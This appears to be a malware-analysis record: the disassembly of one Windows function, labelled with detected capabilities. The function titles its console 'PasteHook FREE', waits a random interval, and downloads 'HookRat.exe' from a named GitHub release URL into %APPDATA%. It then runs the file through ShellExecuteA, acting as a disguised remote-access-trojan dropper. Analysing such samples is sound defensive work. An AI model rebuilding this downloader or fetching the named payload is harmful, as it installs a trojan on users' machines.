Function at 0x140001770
Capabilities:
Create process on windows
Download url
Query environment variable
Receive data
Set console window title

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0xf], rax
xor r12d, r12d
lea rcx, str.PasteHook_FREE
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov ecx, eax
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
call qword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
mov r8d, eax
mov eax, 0x2aaaaaab
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
add ecx, ecx
sub r8d, ecx
add r8d, 3
imul ecx, r8d, 0x3e8
call fcn.1400014b0
lea rcx, str.APPDATA
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov r15, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x21], xmm1
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], r12b
jne 0x140001820
movabs r14, 0x7fffffffffffffff
cmp rbx, r14
ja 0x140001bf3
movabs rax, 0x8000000000000000
mov ecx, 0x16
mov edi, 0xf
cmp rbx, rdi
ja 0x140001876
mov qword [rbp - 0x21], rbx
mov qword [rbp - 0x19], rdi
mov r8, rbx
mov rdx, r15
lea rcx, [rbp - 0x31]
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + rbx - 0x31], r12b
jmp 0x140001904
mov rsi, rbx
or rsi, rdi
cmp rsi, r14
jbe 0x1400018a7
mov rsi, r14
add rax, 0x27
mov rcx, rax
call fcn.140002140
test rax, rax
je 0x140001b9c
lea r14, [rax + 0x27]
and r14, 0xffffffffffffffe0
mov qword [r14 - 8], rax
jmp 0x1400018dc
cmp rsi, rcx
cmovb rsi, rcx
lea rcx, [rsi + 1]
test rcx, rcx
jne 0x1400018bc
mov r14, r12
jmp 0x1400018dc
cmp rcx, 0x1000
jb 0x1400018d4
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001be7
jmp 0x140001888
call fcn.140002140
mov r14, rax
mov qword [rbp - 0x31], r14
mov qword [rbp - 0x21], rbx
mov qword [rbp - 0x19], rsi
mov r8, rbx
mov rdx, r15
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
mov byte [r14 + rbx], r12b
movabs r14, 0x7fffffffffffffff
lea rcx, [rbp - 0x51]
call fcn.1400012a0
nop
mov r8d, 4
lea rdx, str..exe
mov rcx, rax
call fcn.140001ca0
movups xmm7, xmmword [rax]
movups xmmword [rbp - 0x11], xmm7
movups xmm6, xmmword [rax + 0x10]
movups xmmword [rbp - 1], xmm6
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], rdi
mov byte [rax], 0
mov rdx, qword [rbp - 0x39]
cmp rdx, 0xf
jbe 0x14000197b
inc rdx
mov rcx, qword [rbp - 0x51]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001976
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001976
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000217c
movdqa xmm0, xmmword [0x140004520]
movdqu xmmword [rbp - 0x41], xmm0
mov byte [rbp - 0x51], 0
mov rax, r14
movq r13, xmm6
sub rax, r13
cmp rax, 1
jb 0x140001be1
lea r12, [rbp - 0x11]
movq rsi, xmm7
psrldq xmm6, 8
movq r14, xmm6
cmp r14, 0xf
cmova r12, rsi
xorps xmm0, xmm0
movups xmmword [rbp - 0x79], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x69], xmm1
lea r15, [r13 + 1]
lea rbx, [rbp - 0x79]
cmp r15, 0xf
jbe 0x140001a61
mov rdi, r15
or rdi, 0xf
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
jbe 0x140001a23
mov rdi, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.140002140
test rax, rax
je 0x140001ace
lea rbx, [rax + 0x27]
and rbx, 0xffffffffffffffe0
mov qword [rbx - 8], rax
jmp 0x140001a5d
cmp rdi, 0x16
mov eax, 0x16
cmovb rdi, rax
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x140001a3d
xor ebx, ebx
jmp 0x140001a5d
cmp rcx, 0x1000
jb 0x140001a55
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001bed
jmp 0x140001a04
call fcn.140002140
mov rbx, rax
mov qword [rbp - 0x79], rbx
mov qword [rbp - 0x69], r15
mov qword [rbp - 0x61], rdi
mov byte [rbx], 0x5c
lea rcx, [rbx + 1]
mov r8, r13
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbx + r15], 0
lea rdx, [rbp - 0x79]
cmp qword [rbp - 0x61], 0xf
cmova rdx, qword [rbp - 0x79]
mov r8, qword [rbp - 0x69]
lea rcx, [rbp - 0x31]
call fcn.140001ca0
nop
mov rdx, qword [rbp - 0x61]
cmp rdx, 0xf
jbe 0x140001ada
inc rdx
mov rcx, qword [rbp - 0x79]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ad5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ad5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000217c
lea r8, [rbp - 0x31]
cmp qword [rbp - 0x19], 0xf
cmova r8, qword [rbp - 0x31]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.https:__github.com_NotRat100_OpinionPovesPaster_releases_download_Realease_HookRat.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jne 0x140001b2f
lea r8, [rbp - 0x31]
cmp qword [rbp - 0x19], 0xf
cmova r8, qword [rbp - 0x31]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
cmp r14, 0xf
jbe 0x140001b6a
lea rdx, [r14 + 1]
mov rax, rsi
cmp rdx, 0x1000
jb 0x140001b61
add rdx, 0x27
mov rsi, qword [rsi - 8]
sub rax, rsi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b61
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rsi
call fcn.14000217c
nop
mov rdx, qword [rbp - 0x19]
cmp rdx, 0xf
jbe 0x140001ba8
inc rdx
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ba3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ba3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000217c
xor eax, eax
mov rcx, qword [rbp + 0xf]
xor rcx, rsp
call fcn.140002120
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400011a0
nop
call fcn.140001100
nop
call fcn.140001100
nop
call fcn.1400011a0
int3